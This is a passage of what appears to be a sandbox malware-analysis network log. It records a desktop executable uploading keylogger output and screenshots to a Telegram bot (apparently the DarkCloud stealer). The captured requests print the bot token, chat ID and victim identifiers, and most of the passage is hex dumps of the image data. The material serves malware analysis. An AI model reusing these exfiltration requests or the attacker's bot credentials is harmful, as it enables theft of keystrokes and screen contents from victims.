2024-11-25 12:56:37 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:56:37 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:37 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:37 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:37 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:56:37 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:37 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:56:42 GMT Content-Type: application/json Content-Length: 593 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49934	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:56:44 UTC	550	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:44 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 6f 76 47 46 4a 6e 6c 47 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 33 32 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 33 32 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 33 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataovGFJnlG.txt"Content-Type: application/octet-stream[07:56:32]<<Program Manager>>[07:56:32]<<Program Manager>>[07:56:33]<<Program Mana
2024-11-25 12:56:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:56:44 GMT Content-Type: application/json Content-Length: 586 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:56:45 UTC	586	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 36 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2634,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49945	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:56:48 UTC	554	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:48 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 50 43 50 5a 6d 57 4a 77 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotPCPZmWJw.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:56:48 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:48 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:48 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:56:48 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:48 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:48 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:48 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:56:48 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:48 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 